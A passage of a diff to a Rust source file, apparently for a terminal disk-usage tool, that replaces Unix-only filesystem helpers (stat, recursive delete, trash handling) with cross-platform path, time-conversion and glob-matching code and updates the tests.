Meta { pub nlink: u32, pub dev: u64, pub ino: u64, - pub has_ino: bool, + pub has_ino: bool, // dev/ino are meaningful pub err: Option, // stat failed; only name is valid } -fn cstr(b: &[u8]) -> io::Result { - CString::new(b).map_err(|_| io::Error::from_raw_os_error(libc::EINVAL)) -} - -fn cvt(r: libc::c_int) -> io::Result { - if r < 0 { - Err(io::Error::last_os_error()) - } else { - Ok(r) - } -} - -fn open_dir(path: &[u8]) -> io::Result { - let c = cstr(path)?; - let fd = cvt(unsafe { - libc::open( - c.as_ptr(), - libc::O_RDONLY | libc::O_DIRECTORY | libc::O_CLOEXEC, - ) - })?; - Ok(unsafe { OwnedFd::from_raw_fd(fd) }) -} - -#[cfg(target_os = "linux")] -static NO_STATX: AtomicBool = AtomicBool::new(false); - -#[cfg(target_os = "linux")] -fn stat_at(dirfd: RawFd, name: &CStr, flags: libc::c_int) -> io::Result { - if !NO_STATX.load(Ordering::Relaxed) { - let mut st: libc::statx = unsafe { std::mem::zeroed() }; - let mask = libc::STATX_BASIC_STATS | libc::STATX_BTIME; - let r = unsafe { - libc::statx( - dirfd, - name.as_ptr(), - flags | libc::AT_STATX_DONT_SYNC, - mask, - &mut st, - ) - }; - if r == 0 { - let mut m = Meta { - mode: mode_from_unix(st.stx_mode as u32), - size: st.stx_size as i64, - alloc: st.stx_blocks as i64 * 512, - alloc_known: true, - mtime: st.stx_mtime.tv_sec * 1_000_000_000 + st.stx_mtime.tv_nsec as i64, - uid: st.stx_uid, - gid: st.stx_gid, - nlink: st.stx_nlink, - dev: libc::makedev(st.stx_dev_major, st.stx_dev_minor), - ino: st.stx_ino, - has_ino: true, - ..Default::default() - }; - if st.stx_mask & libc::STATX_BTIME != 0 { - m.btime = st.stx_btime.tv_sec * 1_000_000_000 + st.stx_btime.tv_nsec as i64; - } - return Ok(m); - } - let err = io::Error::last_os_error(); - if err.raw_os_error() != Some(libc::ENOSYS) { - return Err(err); - } - NO_STATX.store(true, Ordering::Relaxed); - } - fstat_at(dirfd, name, flags) -} - -#[cfg(not(target_os = "linux"))] -fn stat_at(dirfd: RawFd, name: &CStr, flags: libc::c_int) -> io::Result { - fstat_at(dirfd, name, flags) -} - -fn fstat_at(dirfd: RawFd, name: &CStr, flags: libc::c_int) -> io::Result { - let mut st: libc::stat = unsafe { std::mem::zeroed() }; - cvt(unsafe { libc::fstatat(dirfd, name.as_ptr(), &mut st, flags) })?; - Ok(from_stat(&st)) -} - -#[allow(clippy::unnecessary_cast)] -fn from_stat(st: &libc::stat) -> Meta { - Meta { - mode: mode_from_unix(st.st_mode as u32), - size: st.st_size as i64, - alloc: st.st_blocks as i64 * 512, - alloc_known: true, - mtime: st.st_mtime as i64 * 1_000_000_000 + st.st_mtime_nsec as i64, - uid: st.st_uid, - gid: st.st_gid, - nlink: st.st_nlink as u32, - dev: st.st_dev as u64, - ino: st.st_ino as u64, - has_ino: true, - ..Default::default() - } -} - -/// An open directory stream (readdir over the fd we also stat relative to). -struct DirStream { - dir: *mut libc::DIR, -} - -impl Drop for DirStream { - fn drop(&mut self) { - unsafe { libc::closedir(self.dir) }; - } -} - -/// Streams the entries of a directory in chunks of up to `chunk`, stat-ing -/// each entry relative to the directory fd (no repeated path resolution). -/// Returning an error from f stops the read and returns it. -pub fn read_dir>( - path: &[u8], - chunk: usize, - mut f: impl FnMut(Vec) -> Result<(), E>, -) -> Result<(), E> { - let fd = open_dir(path)?; - let raw = fd.as_raw_fd(); - let dir = unsafe { libc::fdopendir(raw) }; - if dir.is_null() { - return Err(io::Error::last_os_error().into()); - } - std::mem::forget(fd); // owned by the DIR stream now - let ds = DirStream { dir }; - let mut out = Vec::with_capacity(chunk); - loop { - unsafe { *libc::__errno_location() = 0 }; - let ent = unsafe { libc::readdir(ds.dir) }; - if ent.is_null() { - let e = io::Error::last_os_error(); - if e.raw_os_error().unwrap_or(0) != 0 { - return Err(e.into()); - } - break; - } - let name = unsafe { CStr::from_ptr((*ent).d_name.as_ptr()) }; - let nb = name.to_bytes(); - if nb == b"." || nb == b".." { - continue; - } - let mut m = stat_at(raw, name, libc::AT_SYMLINK_NOFOLLOW).unwrap_or_else(|e| Meta { - err: Some(e), - ..Default::default() - }); - m.name = nb.to_vec(); - out.push(m); - if out.len() >= chunk { - f(std::mem::replace(&mut out, Vec::with_capacity(chunk)))?; - } - } - if !out.is_empty() { - f(out)?; - } - Ok(()) -} - -fn stat_path(path: &[u8], follow: bool) -> io::Result { - let c = cstr(path)?; - let flags = if follow { 0 } else { libc::AT_SYMLINK_NOFOLLOW }; - let mut m = stat_at(libc::AT_FDCWD, &c, flags)?; - m.name = base_name(path).to_vec(); - Ok(m) -} - /// Metadata for path without following a final symlink. pub fn lstat(path: &[u8]) -> io::Result { stat_path(path, false) @@ -278,108 +128,6 @@ pub fn stat(path: &[u8]) -> io::Result { stat_path(path, true) } -/// Joins a directory and an entry name without cleaning. -pub fn join_path(dir: &[u8], name: &[u8]) -> Vec { - let mut p = Vec::with_capacity(dir.len() + name.len() + 1); - p.extend_from_slice(dir); - if dir.last() != Some(&b'/') { - p.push(b'/'); - } - p.extend_from_slice(name); - p -} - -fn base_name(path: &[u8]) -> &[u8] { - let mut end = path.len(); - while end > 1 && path[end - 1] == b'/' { - end -= 1; - } - let p = &path[..end]; - match p.iter().rposition(|&b| b == b'/') { - Some(i) if p.len() > 1 => &p[i + 1..], - _ => p, - } -} - -static NAMES: Mutex, HashMap)>> = Mutex::new(None); - -fn lookup_name(group: bool, id: u32) -> String { - let mut g = NAMES.lock().unwrap(); - let (users, groups) = g.get_or_insert_with(Default::default); - let cache = if group { groups } else { users }; - if let Some(n) = cache.get(&id) { - return n.clone(); - } - let mut buf = vec![0u8; 16384]; - let name = unsafe { - if group { - let mut gr: libc::group = std::mem::zeroed(); - let mut res = std::ptr::null_mut(); - libc::getgrgid_r(id, &mut gr, buf.as_mut_ptr().cast(), buf.len(), &mut res); - (!res.is_null()).then(|| CStr::from_ptr(gr.gr_name).to_string_lossy().into_owned()) - } else { - let mut pw: libc::passwd = std::mem::zeroed(); - let mut res = std::ptr::null_mut(); - libc::getpwuid_r(id, &mut pw, buf.as_mut_ptr().cast(), buf.len(), &mut res); - (!res.is_null()).then(|| CStr::from_ptr(pw.pw_name).to_string_lossy().into_owned()) - } - } - .unwrap_or_else(|| id.to_string()); - cache.insert(id, name.clone()); - name -} - -/// Resolves a uid to a name (cached; falls back to the number). -pub fn user_name(uid: u32) -> String { - lookup_name(false, uid) -} - -/// Resolves a gid to a name (cached; falls back to the number). -pub fn group_name(gid: u32) -> String { - lookup_name(true, gid) -} - -/// Linux pseudo-filesystems whose contents are not disk usage. -#[cfg(target_os = "linux")] -const VIRTUAL_FS: [i64; 19] = [ - 0x9fa0, // proc - 0x62656572, // sysfs - 0x1cd1, // devpts - 0x27e0eb, // cgroup - 0x63677270, // cgroup2 - 0x64626720, // debugfs - 0x74726163, // tracefs - 0x73636673, // securityfs - 0x6165676c, // pstore - 0xcafe4a11, // bpf - 0x62656570, // configfs - 0x65735543, // fusectl - 0x19800202, // mqueue - 0xde5e81e4, // efivarfs - 0x42494e4d, // binfmt_misc - 0xf97cff8c, // selinuxfs - 0x958458f6, // hugetlbfs - 0x6e736673, // nsfs - 0x50495045, // pipefs -]; - -/// Whether path is the root of a pseudo filesystem (proc, sysfs, cgroup, …) -/// that should not be scanned as disk usage. -#[cfg(target_os = "linux")] -pub fn is_virtual_fs(path: &[u8]) -> bool { - let Ok(c) = cstr(path) else { return false }; - let mut st: libc::statfs = unsafe { std::mem::zeroed() }; - if unsafe { libc::statfs(c.as_ptr(), &mut st) } != 0 { - return false; - } - VIRTUAL_FS.contains(&(st.f_type as i64)) -} - -#[cfg(not(target_os = "linux"))] -pub fn is_virtual_fs(_: &[u8]) -> bool { - false -} - /// What the scan recorded for an item about to be trashed or deleted. The /// operation refuses an item whose owner or file type no longer matches. #[derive(Clone, Copy, Debug)] @@ -388,8 +136,6 @@ pub struct Expect { pub mode: u32, // only the type bits are compared } -const CHANGED: &str = "item changed since the scan (owner or type differs); rescan first"; - fn other(msg: impl Into) -> io::Error { io::Error::other(msg.into()) } @@ -403,22 +149,13 @@ fn check_abs(path: &Path) -> io::Result<()> { std::fs::symlink_metadata(path).map(|_| ()) } -/// Opens a file whose content is about to be read. It does not follow a -/// final symlink, and O_NONBLOCK keeps a FIFO swapped in since the scan from -/// blocking open(2) forever; callers still check the file type. -pub fn open_content(path: &Path) -> io::Result { - std::fs::OpenOptions::new() - .read(true) - .custom_flags(libc::O_NOFOLLOW | libc::O_NONBLOCK) - .open(path) -} - /// Runs a helper program with an argument vector (never a shell), detached /// from the terminal so it cannot disturb the TUI. -fn start_detached(name: &str, arg: &Path) -> io::Result<()> { +#[allow(dead_code)] // unused where reveal is unsupported +fn start_detached(name: &str, args: &[&OsStr]) -> io::Result<()> { use std::process::{Command, Stdio}; let mut child = Command::new(name) - .arg(arg) + .args(args) .stdin(Stdio::null()) .stdout(Stdio::null()) .stderr(Stdio::null()) @@ -427,327 +164,251 @@ fn start_detached(name: &str, arg: &Path) -> io::Result<()> { Ok(()) } -/// The user-facing name of the trash. -pub const TRASH_NAME: &str = "trash"; - -/// Opens the item's directory in the desktop file manager. -pub fn reveal(path: &Path) -> io::Result<()> { - check_abs(path)?; - let md = std::fs::symlink_metadata(path)?; - let target = if md.is_dir() { - path - } else { - path.parent().unwrap_or(path) - }; - let opener = if cfg!(target_os = "macos") { - "open" - } else { - "xdg-open" - }; - start_detached(opener, target) -} - -/// Whether there is no graphical session (no X or Wayland display), so there -/// is no file manager to open and no desktop trash anyone will empty. -pub fn headless() -> bool { - if cfg!(target_os = "macos") { - return false; - } - std::env::var_os("DISPLAY").is_none_or(|v| v.is_empty()) - && std::env::var_os("WAYLAND_DISPLAY").is_none_or(|v| v.is_empty()) -} - -fn split_parent(path: &Path) -> io::Result<(&Path, &OsStr)> { - match (path.parent(), path.file_name()) { - (Some(d), Some(b)) => Ok((d, b)), - _ => Err(other("refusing to operate on a filesystem root")), - } -} - -fn check_expect(dirfd: RawFd, base: &CStr, want: Expect) -> io::Result { - let mut st: libc::stat = unsafe { std::mem::zeroed() }; - cvt(unsafe { libc::fstatat(dirfd, base.as_ptr(), &mut st, libc::AT_SYMLINK_NOFOLLOW) })?; - if st.st_uid != want.uid - || mode_from_unix(st.st_mode as u32) & mode::TYPE != want.mode & mode::TYPE +/// Reads exactly buf.len() bytes at offset off, without relying on (or, on +/// Unix, moving) the file cursor. +pub fn read_exact_at(f: &File, buf: &mut [u8], off: u64) -> io::Result<()> { + #[cfg(unix)] { - return Err(other(CHANGED)); + use std::os::unix::fs::FileExt; + f.read_exact_at(buf, off) } - Ok(st) -} - -/// Permanently removes path (recursively for a directory) if it still -/// matches want. The check and the removal both go through descriptors -/// opened from the parent directory without following symlinks, so a -/// symlink swapped in since the scan cannot redirect the removal outside it. -pub fn delete(path: &Path, want: Expect) -> io::Result<()> { - check_abs(path)?; - let (dir, base) = split_parent(path)?; - let dfd = open_dir(dir.as_os_str().as_bytes())?; - let cbase = cstr(base.as_bytes())?; - let st = check_expect(dfd.as_raw_fd(), &cbase, want)?; - remove_at( - dfd.as_raw_fd(), - &cbase, - st.st_mode & libc::S_IFMT == libc::S_IFDIR, - ) -} - -fn remove_at(dirfd: RawFd, name: &CStr, is_dir: bool) -> io::Result<()> { - if !is_dir { - return cvt(unsafe { libc::unlinkat(dirfd, name.as_ptr(), 0) }).map(|_| ()); - } - let fd = cvt(unsafe { - libc::openat( - dirfd, - name.as_ptr(), - libc::O_RDONLY | libc::O_DIRECTORY | libc::O_NOFOLLOW | libc::O_CLOEXEC, - ) - })?; - let sub = unsafe { OwnedFd::from_raw_fd(fd) }; - // Collect names first: removing while iterating a DIR stream is unspecified. - let mut names = Vec::new(); - let dup = cvt(unsafe { libc::dup(sub.as_raw_fd()) })?; - let dir = unsafe { libc::fdopendir(dup) }; - if dir.is_null() { - unsafe { libc::close(dup) }; - return Err(io::Error::last_os_error()); - } - let ds = DirStream { dir }; - loop { - let ent = unsafe { libc::readdir(ds.dir) }; - if ent.is_null() { - break; - } - let n = unsafe { CStr::from_ptr((*ent).d_name.as_ptr()) }; - if n.to_bytes() != b"." && n.to_bytes() != b".." { - let t = unsafe { (*ent).d_type }; - let is_dir = match t { - libc::DT_UNKNOWN => fstat_at(sub.as_raw_fd(), n, libc::AT_SYMLINK_NOFOLLOW) - .is_ok_and(|m| mode::is_dir(m.mode)), - t => t == libc::DT_DIR, - }; - names.push((n.to_owned(), is_dir)); - } - } - drop(ds); - for (n, d) in names { - remove_at(sub.as_raw_fd(), &n, d)?; - } - cvt(unsafe { libc::unlinkat(dirfd, name.as_ptr(), libc::AT_REMOVEDIR) }).map(|_| ()) -} - -/// Moves path to dst if it still matches want. The parent directory is -/// opened once and both the check and the rename are relative to that -/// descriptor, so a parent swapped for a symlink since the scan (or between -/// check and rename) cannot redirect the move to another user's file. -fn rename_checked(path: &Path, dst: &Path, want: Expect) -> io::Result<()> { - let (dir, base) = split_parent(path)?; - let dfd = open_dir(dir.as_os_str().as_bytes())?; - let cbase = cstr(base.as_bytes())?; - check_expect(dfd.as_raw_fd(), &cbase, want)?; - let cdst = cstr(dst.as_os_str().as_bytes())?; - cvt(unsafe { - libc::renameat( - dfd.as_raw_fd(), - cbase.as_ptr(), - libc::AT_FDCWD, - cdst.as_ptr(), - ) - }) - .map(|_| ()) -} - -/// Creates dir (mode 0700) if missing; an existing entry must be a real -/// directory (not a symlink) owned by us. With strict (trash on a shared -/// filesystem) it must also be inaccessible to others, as the freedesktop.org -/// spec requires. -fn ensure_private_dir(dir: &Path, strict: bool) -> io::Result<()> { - use std::os::unix::fs::DirBuilderExt; - if let Err(e) = std::fs::DirBuilder::new().mode(0o700).create(dir) { - if e.kind() != io::ErrorKind::AlreadyExists { - return Err(e); - } - } - let md = std::fs::symlink_metadata(dir)?; - if !md.is_dir() { - return Err(other("not a directory (symlink?)")); - } - if md.uid() != unsafe { libc::getuid() } { - return Err(other("owned by another user")); - } - if strict && md.mode() & 0o077 != 0 { - return Err(other("accessible to other users")); - } - Ok(()) -} - -/// The top directory of the filesystem containing path. -fn mount_top(path: &Path, dev: u64) -> PathBuf { - let mut cur = path.parent().unwrap_or(path).to_path_buf(); - loop { - let Some(parent) = cur.parent() else { - return cur; - }; - match std::fs::metadata(parent) { - Ok(m) if m.dev() == dev => cur = parent.to_path_buf(), - _ => return cur, + #[cfg(windows)] + { + use std::os::windows::fs::FileExt; + let (mut buf, mut off) = (buf, off); + while !buf.is_empty() { + match f.seek_read(buf, off) { + Ok(0) => return Err(io::ErrorKind::UnexpectedEof.into()), + Ok(n) => { + buf = &mut buf[n..]; + off += n as u64; + } + Err(e) if e.kind() == io::ErrorKind::Interrupted => {} + Err(e) => return Err(e), + } } + Ok(()) } } -fn percent_encode_path(p: &[u8]) -> String { - let mut s = String::with_capacity(p.len()); - for &b in p { - if b.is_ascii_alphanumeric() || b"-._~/!$&'()*+,;=:@".contains(&b) { - s.push(b as char); - } else { - s.push_str(&format!("%{b:02X}")); - } - } - s +// ---- Paths ---------------------------------------------------------------- + +/// The path separator: '/' on Unix, '\\' on Windows. +pub const SEP: u8 = if cfg!(windows) { b'\\' } else { b'/' }; + +/// Whether b separates path components ('/' everywhere, also '\\' on +/// Windows). +pub fn is_sep(b: u8) -> bool { + b == b'/' || cfg!(windows) && b == b'\\' } -fn local_timestamp() -> String { - let mut t: libc::time_t = unsafe { libc::time(std::ptr::null_mut()) }; - let mut tm: libc::tm = unsafe { std::mem::zeroed() }; - unsafe { libc::localtime_r(&mut t, &mut tm) }; - format!( - "{:04}-{:02}-{:02}T{:02}:{:02}:{:02}", - tm.tm_year + 1900, - tm.tm_mon + 1, - tm.tm_mday, - tm.tm_hour, - tm.tm_min, - tm.tm_sec - ) +/// The raw bytes of an OS string. On Windows this is UTF-8 (WTF-8 for +/// unpaired surrogates). +pub fn os_bytes(s: &OsStr) -> &[u8] { + s.as_encoded_bytes() } -/// Moves path to the freedesktop.org trash: the home trash when on the same -/// filesystem, otherwise $topdir/.Trash-$uid on the item's filesystem. It -/// never copies across filesystems and never deletes. -pub fn trash(path: &Path, want: Expect) -> io::Result<()> { - check_abs(path)?; - let dev = std::fs::symlink_metadata(path)?.dev(); - let data_home = match std::env::var_os("XDG_DATA_HOME").filter(|v| !v.is_empty()) { - Some(d) => PathBuf::from(d), - None => { - let home = std::env::var_os("HOME") - .filter(|v| !v.is_empty()) - .ok_or_else(|| other("$HOME is not defined"))?; - PathBuf::from(home).join(".local/share") - } - }; - let home = data_home.join("Trash"); - let (trash, info_path): (PathBuf, Vec) = match std::fs::metadata(&data_home) { - Ok(m) if m.dev() == dev => (home.clone(), path.as_os_str().as_bytes().to_vec()), - _ => { - let top = mount_top(path, dev); - let rel = path.strip_prefix(&top).map_err(|e| other(e.to_string()))?; - ( - top.join(format!(".Trash-{}", unsafe { libc::getuid() })), - rel.as_os_str().as_bytes().to_vec(), - ) - } - }; - let shared = trash != home; - if !shared { - use std::os::unix::fs::DirBuilderExt; - std::fs::DirBuilder::new() - .recursive(true) - .mode(0o700) - .create(&trash)?; - } else if let Err(e) = ensure_private_dir(&trash, true) { - // On a shared filesystem another user could plant a symlink or a - // world-writable directory here; refuse rather than follow it. - return Err(other(format!( - "trash directory {} is unsafe: {e}", - trash.display() - ))); +/// The path named by raw bytes. On Windows the bytes are decoded as UTF-8, +/// replacing invalid sequences. +pub fn path_from_bytes(b: &[u8]) -> PathBuf { + #[cfg(unix)] + { + use std::os::unix::ffi::OsStrExt; + PathBuf::from(OsStr::from_bytes(b)) } - let (files, info) = (trash.join("files"), trash.join("info")); - for d in [&files, &info] { - ensure_private_dir(d, shared) - .map_err(|e| other(format!("trash directory {} is unsafe: {e}", d.display())))?; - } - let base = path.file_name().ok_or_else(|| other("no file name"))?; - for i in 1..10000 { - let mut name = base.to_os_string(); - if i > 1 { - name.push(format!(".{i}")); - } - let dst = files.join(&name); - if std::fs::symlink_metadata(&dst).is_ok() { - continue; // never overwrite an earlier trashed item (even without .trashinfo) - } - let mut info_name = name.clone(); - info_name.push(".trashinfo"); - let ip = info.join(info_name); - let mut f = match std::fs::OpenOptions::new() - .write(true) - .create_new(true) - .mode(0o600) - .open(&ip) - { - Ok(f) => f, - Err(e) if e.kind() == io::ErrorKind::AlreadyExists => continue, - Err(e) => return Err(e), - }; - let w = write!( - f, - "[Trash Info]\nPath={}\nDeletionDate={}\n", - percent_encode_path(&info_path), - local_timestamp() - ) - .and_then(|_| f.sync_all()); - drop(f); - if let Err(e) = w.and_then(|_| rename_checked(path, &dst, want)) { - let _ = std::fs::remove_file(&ip); - return Err(e); - } - return Ok(()); - } - Err(other("trash: too many items with the same name")) -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn mode_string_matches_go() { - assert_eq!(mode::string(mode::DIR | 0o755), "drwxr-xr-x"); - assert_eq!(mode::string(0o644), "-rw-r--r--"); - assert_eq!(mode::string(mode::SYMLINK | 0o777), "Lrwxrwxrwx"); - } - - #[test] - fn delete_refuses_changed_type() { - let d = std::env::temp_dir().join(format!("mapsize-del-{}", std::process::id())); - std::fs::create_dir_all(d.join("sub/inner")).unwrap(); - std::fs::write(d.join("sub/inner/f"), b"x").unwrap(); - let uid = unsafe { libc::getuid() }; - assert!(delete(&d.join("sub"), Expect { uid, mode: 0 }).is_err()); - delete( - &d.join("sub"), - Expect { - uid, - mode: mode::DIR, - }, - ) - .unwrap(); - assert!(!d.join("sub").exists()); - std::fs::remove_dir_all(&d).unwrap(); + #[cfg(windows)] + { + PathBuf::from(String::from_utf8_lossy(b).into_owned()) } } -/// Shell-style glob match, a port of Go's filepath.Match: `*` and `?` do not -/// match '/', `[^...]` negates, `\\` escapes. A malformed pattern matches -/// nothing. +/// Joins a directory and an entry name without cleaning. +pub fn join_path(dir: &[u8], name: &[u8]) -> Vec { + let mut p = Vec::with_capacity(dir.len() + name.len() + 1); + p.extend_from_slice(dir); + if !dir.last().is_some_and(|&b| is_sep(b)) { + p.push(SEP); + } + p.extend_from_slice(name); + p +} + +fn base_name(path: &[u8]) -> &[u8] { + let mut end = path.len(); + while end > 1 && is_sep(path[end - 1]) { + end -= 1; + } + let p = &path[..end]; + match p.iter().rposition(|&b| is_sep(b)) { + Some(i) if p.len() > 1 => &p[i + 1..], + _ => p, + } +} + +/// Lexically cleans a Unix path: collapses repeated separators, removes "." +/// and resolves ".." against the preceding component. +#[cfg(unix)] +pub fn clean_path(p: &[u8]) -> Vec { + if p.is_empty() { + return b".".to_vec(); + } + let rooted = p[0] == b'/'; + let mut parts: Vec<&[u8]> = Vec::new(); + for c in p.split(|&b| b == b'/') { + match c { + b"" | b"." => {} + b".." => { + if parts.last().is_some_and(|l| *l != b"..") { + parts.pop(); + } else if !rooted { + parts.push(c); + } + } + _ => parts.push(c), + } + } + let mut out = Vec::with_capacity(p.len()); + if rooted { + out.push(b'/'); + } + out.extend_from_slice(&parts.join(&b'/')); + if out.is_empty() { + out.push(b'.'); + } + out +} + +/// Makes a path absolute (relative to the working directory) and cleans it. +pub fn abs_path(p: &[u8]) -> io::Result> { + #[cfg(unix)] + { + if p.first() == Some(&b'/') { + return Ok(clean_path(p)); + } + let cwd = std::env::current_dir()?; + Ok(clean_path(&join_path(os_bytes(cwd.as_os_str()), p))) + } + #[cfg(windows)] + { + // GetFullPathNameW resolves "." and "..", the drive-relative forms + // and '/'; collecting the components drops a trailing separator. + let a: PathBuf = std::path::absolute(path_from_bytes(p))? + .components() + .collect(); + Ok(os_bytes(a.as_os_str()).to_vec()) + } +} + +// ---- Owner names ---------------------------------------------------------- + +type NameCache = (HashMap, HashMap); +static NAMES: Mutex> = Mutex::new(None); + +fn lookup_name(group: bool, id: u32) -> String { + let mut g = NAMES.lock().unwrap(); + let (users, groups) = g.get_or_insert_with(Default::default); + let cache = if group { groups } else { users }; + if let Some(n) = cache.get(&id) { + return n.clone(); + } + let name = lookup_os_name(group, id).unwrap_or_else(|| id.to_string()); + cache.insert(id, name.clone()); + name +} + +/// Resolves a uid to a name (cached; falls back to the number). +pub fn user_name(uid: u32) -> String { + lookup_name(false, uid) +} + +/// Resolves a gid to a name (cached; falls back to the number). +pub fn group_name(gid: u32) -> String { + lookup_name(true, gid) +} + +// ---- Local time ----------------------------------------------------------- + +/// A broken-down local time. +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +pub struct LocalTime { + pub year: i64, + pub month: i64, // 1-12 + pub day: i64, // 1-31 + pub hour: i64, + pub min: i64, + pub sec: i64, + pub off: i32, // seconds east of UTC +} + +/// Converts unix seconds to local time in the system time zone. +pub fn local_time(secs: i64) -> LocalTime { + let off = local_offset(secs); + let s = secs + off as i64; + let (year, month, day) = civil_from_days(s.div_euclid(86400)); + let rem = s.rem_euclid(86400); + LocalTime { + year, + month, + day, + hour: rem / 3600, + min: rem / 60 % 60, + sec: rem % 60, + off, + } +} + +/// Unix seconds of a local wall-clock time in the system time zone. A time +/// skipped or repeated by a DST change resolves to one of its neighbours. +pub fn local_to_unix(y: i64, mo: i64, d: i64, h: i64, mi: i64) -> i64 { + let wall = days_from_civil(y, mo, d) * 86400 + h * 3600 + mi * 60; + let off = local_offset(wall) as i64; + let t = wall - off; + let off2 = local_offset(t) as i64; + if off2 == off { + t + } else { + wall - off2 + } +} + +/// Year, month (1-12) and day of days since 1970-01-01 in the proleptic +/// Gregorian calendar (Howard Hinnant's civil_from_days). +pub fn civil_from_days(days: i64) -> (i64, i64, i64) { + let z = days + 719468; + let era = z.div_euclid(146097); + let doe = z - era * 146097; + let yoe = (doe - doe / 1460 + doe / 36524 - doe / 146096) / 365; + let doy = doe - (365 * yoe + yoe / 4 - yoe / 100); + let mp = (5 * doy + 2) / 153; + let d = doy - (153 * mp + 2) / 5 + 1; + let m = if mp < 10 { mp + 3 } else { mp - 9 }; + (yoe + era * 400 + (m <= 2) as i64, m, d) +} + +/// Days since 1970-01-01 of a proleptic Gregorian date. +pub fn days_from_civil(y: i64, m: i64, d: i64) -> i64 { + let y = if m <= 2 { y - 1 } else { y }; + let era = y.div_euclid(400); + let yoe = y - era * 400; + let doy = (153 * ((m + 9) % 12) + 2) / 5 + d - 1; + let doe = yoe * 365 + yoe / 4 - yoe / 100 + doy; + era * 146097 + doe - 719468 +} + +// ---- Glob ----------------------------------------------------------------- + +// On Windows '\\' is the separator and cannot escape. +const ESCAPE: bool = cfg!(unix); + +/// Shell-style glob match: `*` matches any run of non-separator bytes, `?` +/// one non-separator character, `[...]` a character class (`[^...]` +/// negates, `a-z` ranges), and on Unix `\\` escapes the next character. The +/// whole name must match. A malformed pattern matches nothing. pub fn glob_match(pattern: &[u8], name: &[u8]) -> bool { - // Fast path for the common "*.ext" shape: * cannot cross '/'. + // Fast path for the common "*.ext" shape: * cannot cross a separator. if let Some(suffix) = pattern.strip_prefix(b"*") { if !suffix.iter().any(|b| b"*?[\\".contains(b)) { - return name.ends_with(suffix) && !name[..name.len() - suffix.len()].contains(&b'/'); + return name.ends_with(suffix) && !name[..name.len() - suffix.len()].contains(&SEP); } } glob(pattern, name).unwrap_or(false) @@ -770,8 +431,8 @@ fn glob(mut pattern: &[u8], mut name: &[u8]) -> Result { let (star, chunk, rest) = scan_chunk(pattern); pattern = rest; if star && chunk.is_empty() { - // Trailing * matches the rest of the string unless it has a /. - return Ok(!name.contains(&b'/')); + // Trailing * matches the rest of the string unless it has a separator. + return Ok(!name.contains(&SEP)); } let r = match_chunk(chunk, name); if let Ok(Some(t)) = r { @@ -783,11 +444,11 @@ fn glob(mut pattern: &[u8], mut name: &[u8]) -> Result { } r?; if star { - // Look for a match skipping i+1 bytes; cannot skip /. + // Look for a match skipping i+1 bytes; cannot skip a separator. let mut i = 0; - while i < name.len() && name[i] != b'/' { + while i < name.len() && name[i] != SEP { if let Some(t) = match_chunk(chunk, &name[i + 1..])? { - if !(pattern.is_empty() && !t.is_empty()) { + if !pattern.is_empty() || t.is_empty() { name = t; continue 'pattern; } @@ -816,7 +477,7 @@ fn scan_chunk(mut pattern: &[u8]) -> (bool, &[u8], &[u8]) { let mut i = 0; while i < pattern.len() { match pattern[i] { - b'\\' if i + 1 < pattern.len() => i += 1, + b'\\' if ESCAPE && i + 1 < pattern.len() => i += 1, b'[' => in_range = true, b']' => in_range = false, b'*' if !in_range => break, @@ -871,7 +532,7 @@ fn match_chunk<'a>(mut chunk: &[u8], mut s: &'a [u8]) -> Result } b'?' => { if !failed { - if s[0] == b'/' { + if s[0] == SEP { failed = true; } s = &s[decode_rune(s).1..]; @@ -879,7 +540,7 @@ fn match_chunk<'a>(mut chunk: &[u8], mut s: &'a [u8]) -> Result chunk = &chunk[1..]; } c => { - let c = if c == b'\\' { + let c = if ESCAPE && c == b'\\' { chunk = &chunk[1..]; *chunk.first().ok_or(BadPattern)? } else { @@ -902,7 +563,7 @@ fn get_esc(mut chunk: &[u8]) -> Result<(u32, &[u8]), BadPattern> { if chunk.is_empty() || chunk[0] == b'-' || chunk[0] == b']' { return Err(BadPattern); } - if chunk[0] == b'\\' { + if ESCAPE && chunk[0] == b'\\' { chunk = &chunk[1..]; if chunk.is_empty() { return Err(BadPattern); @@ -915,50 +576,49 @@ fn get_esc(mut chunk: &[u8]) -> Result<(u32, &[u8]), BadPattern> { Ok((r, &chunk[n..])) } -/// Lexically cleans a path like Go's filepath.Clean. -pub fn clean_path(p: &[u8]) -> Vec { - if p.is_empty() { - return b".".to_vec(); - } - let rooted = p[0] == b'/'; - let mut parts: Vec<&[u8]> = Vec::new(); - for c in p.split(|&b| b == b'/') { - match c { - b"" | b"." => {} - b".." => { - if parts.last().is_some_and(|l| *l != b"..") { - parts.pop(); - } else if !rooted { - parts.push(c); - } - } - _ => parts.push(c), - } - } - let mut out = Vec::with_capacity(p.len()); - if rooted { - out.push(b'/'); - } - out.extend_from_slice(&parts.join(&b'/')); - if out.is_empty() { - out.push(b'.'); - } - out -} - -/// Makes a path absolute (relative to the working directory) and cleans it. -pub fn abs_path(p: &[u8]) -> io::Result> { - if p.first() == Some(&b'/') { - return Ok(clean_path(p)); - } - let cwd = std::env::current_dir()?; - Ok(clean_path(&join_path(cwd.as_os_str().as_bytes(), p))) -} - #[cfg(test)] -mod path_tests { +mod tests { use super::*; + #[test] + fn mode_string() { + assert_eq!(mode::string(mode::DIR | 0o755), "drwxr-xr-x"); + assert_eq!(mode::string(0o644), "-rw-r--r--"); + assert_eq!(mode::string(mode::SYMLINK | 0o777), "Lrwxrwxrwx"); + } + + #[test] + fn civil_round_trip() { + for days in [-719468, -1, 0, 59, 11016, 20000, 2932896] { + let (y, m, d) = civil_from_days(days); + assert_eq!(days_from_civil(y, m, d), days); + } + assert_eq!(civil_from_days(0), (1970, 1, 1)); + assert_eq!(days_from_civil(2000, 3, 1), 11017); + } + + #[test] + fn local_time_round_trip() { + let t = 1_780_000_000; // 2026-05-28 + let lt = local_time(t); + assert_eq!( + local_to_unix(lt.year, lt.month, lt.day, lt.hour, lt.min) + lt.sec, + t + ); + } + + #[test] + fn join_and_base() { + let s = SEP as char; + assert_eq!(join_path(b"dir", b"x"), format!("dir{s}x").into_bytes()); + assert_eq!( + join_path(format!("dir{s}").as_bytes(), b"x"), + format!("dir{s}x").into_bytes() + ); + assert_eq!(base_name(format!("a{s}b{s}").as_bytes()), b"b"); + } + + #[cfg(unix)] #[test] fn clean_and_glob() { assert_eq!(clean_path(b"/a/b/../c/./"), b"/a/c"); @@ -978,4 +638,14 @@ mod path_tests { assert!(glob_match(b"*", b"abc") && !glob_match(b"*", b"a/c")); assert!(!glob_match(b"*.dat", b"x.dat/y.da") && 